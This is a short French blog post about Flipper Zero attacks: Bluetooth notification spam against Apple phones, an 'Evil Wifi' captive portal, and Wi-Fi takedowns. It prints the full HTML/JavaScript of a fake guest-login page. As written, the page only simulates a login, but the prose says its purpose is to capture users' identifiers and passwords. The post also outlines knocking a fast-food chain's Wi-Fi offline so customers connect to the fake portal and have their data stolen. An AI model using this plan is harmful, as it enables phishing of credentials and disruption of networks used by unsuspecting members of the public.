Skip to main content

Command Palette

Search for a command to run...

Flipper Zero

Malveillance Max

Updated
4 min readView as Markdown
A

Epitech student | Cybersecurity | Devops OSINT | Steganography | VP at B4cktr4ckers | CTF Enthousiast

Flipper Bluetooth

Le flipper peut utiliser le bluetooth pour envoyer des instruction à un téléphone.

Apple Abuse

La premiére attaque est un abus de la part des téléphone apple sur les notification

Image

Le systéme ayant confiance. On peut simuler une multitude de connection pour perturber le bon fonctionnement de l'appareil.

Flipper Wifi

Création d'un portail "Evil Wifi" Pour voler des identifiants et des mot de passe et sensibiliser au vol d'information par cette technique.

<!doctype html>
<html lang="fr">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Portail Wi-Fi</title>
  <style>
    :root{
      --bg:#0b1220;
      --card: rgba(255,255,255,.06);
      --line: rgba(255,255,255,.14);
      --text:#e9eef6;
      --muted:#a9b6c7;
      --accent1:#7c3aed;
      --accent2:#06b6d4;
      --ok:#22c55e;
      --danger:#ef4444;
      --radius:18px;
      --shadow: 0 18px 60px rgba(0,0,0,.55);
    }
    *{box-sizing:border-box}
    body{
      margin:0;
      min-height:100vh;
      display:grid;
      place-items:center;
      font-family: ui-sans-serif, system-ui, -apple-system, Segoe UI, Roboto, Arial;
      color:var(--text);
      background:
        radial-gradient(1100px 700px at 20% 10%, rgba(124,58,237,.25), transparent 60%),
        radial-gradient(900px 600px at 90% 20%, rgba(6,182,212,.22), transparent 60%),
        linear-gradient(180deg, #0b1220, #081629);
      padding:24px;
    }
    .container{
      width:min(520px, 92vw);
      border:1px solid var(--line);
      background: var(--card);
      backdrop-filter: blur(10px);
      box-shadow: var(--shadow);
      border-radius: var(--radius);
      padding:22px;
    }
    .logo{
      display:flex;
      align-items:center;
      justify-content:space-between;
      gap:12px;
      margin-bottom:8px;
    }
    .logo h1{
      margin:0;
      font-size:22px;
      letter-spacing:-0.02em;
    }
    .pill{
      font-size:12px;
      padding:7px 10px;
      border-radius:999px;
      border:1px solid var(--line);
      color:var(--muted);
      background: rgba(255,255,255,.04);
      white-space:nowrap;
    }
    .subtext{
      margin:8px 0 16px 0;
      color:var(--muted);
      font-size:13.5px;
      line-height:1.35;
    }
    .form-group{ margin: 10px 0; }
    .form-control{
      width:100%;
      padding:12px 12px;
      border-radius: 14px;
      border:1px solid var(--line);
      background: rgba(0,0,0,.18);
      color:var(--text);
      outline:none;
    }
    .form-control::placeholder{ color: rgba(169,182,199,.55); }
    .row{
      display:flex;
      gap:10px;
      align-items:center;
      justify-content:space-between;
      flex-wrap:wrap;
      margin-top: 6px;
    }
    .toggle{
      display:flex;
      align-items:center;
      gap:8px;
      color:var(--muted);
      font-size:12.5px;
      user-select:none;
    }
    .toggle input{ width:auto; margin:0; }
    button{
      width:100%;
      margin-top:12px;
      cursor:pointer;
      border:none;
      color:white;
      padding:12px 14px;
      border-radius: 14px;
      font-weight: 700;
      letter-spacing:.01em;
      background: linear-gradient(135deg, var(--accent1), var(--accent2));
      box-shadow: 0 14px 40px rgba(6,182,212,.12);
    }
    .msg{
      display:none;
      border-radius: 14px;
      padding:10px 12px;
      border:1px solid var(--line);
      background: rgba(255,255,255,.03);
      color: var(--muted);
      font-size: 13px;
      margin: 10px 0 6px;
    }
    .msg.ok{
      border-color: rgba(34,197,94,.35);
      color: rgba(209,255,224,.92);
      background: rgba(34,197,94,.08);
    }
    .msg.err{
      border-color: rgba(239,68,68,.35);
      color: rgba(255,220,220,.92);
      background: rgba(239,68,68,.08);
    }
    .tiny{
      margin-top:10px;
      color:var(--muted);
      font-size:12px;
      line-height:1.35;
    }
    a{ color: rgba(206,224,255,.92); text-decoration:none; }
    a:hover{ text-decoration:underline; }
  </style>
</head>

<body>

  <div class="container">

    <div class="logo">
      <h1>Portail Wi-Fi</h1>
      <span class="pill">Accès invité</span>
    </div>
    <p class="subtext">
      Démo / maquette : ne saisis pas d’informations sensibles. Utilise un <strong>code d’accès</strong> fourni par l’accueil.
    </p>

    <div id="msg" class="msg" aria-live="polite"></div>

    <form id="wifiForm" action="/get" method="GET">

      <div class="form-group">
        <input type="text" name="nom" class="form-control" placeholder="Nom" required>
      </div>

      <div class="form-group">
        <input type="text" name="prenom" class="form-control" placeholder="Prénom" required>
      </div>

      <div class="form-group">
        <input type="email" name="email" class="form-control" placeholder="Email" required>
      </div>

      <div class="form-group">
        <!-- Remplace "password" par un code d'accès (voucher), c'est le modèle standard et légitime -->
        <input id="accessCode" type="password" name="access_code" class="form-control" placeholder="Code d’accès (voucher)" minlength="4" required>
        <div class="row">
          <label class="toggle">
            <input type="checkbox" id="showCode">
            Afficher le code
          </label>
          <span class="toggle" style="gap:0;">
            <span>Min 4 caractères</span>
          </span>
        </div>
      </div>

      <button type="submit">Se connecter</button>

    </form>

    <p class="tiny">
      En continuant, tu acceptes les conditions d’utilisation du réseau (journalisation de sécurité, etc.).
      <a href="#" onclick="alert('Ajoute ici tes CGU / politique de confidentialité.'); return false;">Voir les conditions</a>
    </p>

  </div>

  <script>
    const form = document.getElementById('wifiForm');
    const msg  = document.getElementById('msg');
    const show = document.getElementById('showCode');
    const code = document.getElementById('accessCode');

    show.addEventListener('change', () => {
      code.type = show.checked ? 'text' : 'password';
    });

    form.addEventListener('submit', (e) => {
      // Si tu veux vraiment envoyer vers /get en GET, supprime les 2 lignes ci-dessous.
      e.preventDefault();

      const nom = form.nom.value.trim();
      const prenom = form.prenom.value.trim();
      const email = form.email.value.trim();
      const accessCode = form.access_code.value;

      if (!nom || !prenom || !email || accessCode.length < 4) {
        msg.className = 'msg err';
        msg.style.display = 'block';
        msg.textContent = "Vérifie les champs : tout est requis et le code d’accès doit faire au moins 4 caractères.";
        return;
      }

      msg.className = 'msg ok';
      msg.style.display = 'block';
      msg.textContent = "✅ Informations validées (maquette). Connexion en cours…";

      // Simulation redirection
      setTimeout(() => {
        msg.textContent = "✅ Connecté au Wi-Fi (simulation).";
        // window.location.href = "success.html";
      }, 900);
    });
  </script>

</body>
</html>

L'objectif est de prendre l'identifiant et le mot de passe donné par l'utilisateur.

Cette technique peut étre utilisé dans un restaurant.

Le Down de wifi

On peut utiliser une attaque du flipper, pour faire tomber un réseau wifi.

On peut donc faire tomber le réseau wifi d'une chaine de fast-food, pour ensuite faire se connecter les clients sur le mauvais portail, pour ensuite leur voler leur données.

9 views